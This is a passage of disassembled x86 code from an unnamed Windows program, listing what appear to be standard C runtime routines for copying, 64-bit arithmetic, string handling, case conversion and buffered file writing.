		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2690E7Eh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 269086Bh
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		nop
		call	near ptr 269086Bh
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2710000h
		cmp	eax, esi
		jz	short loc_41E150


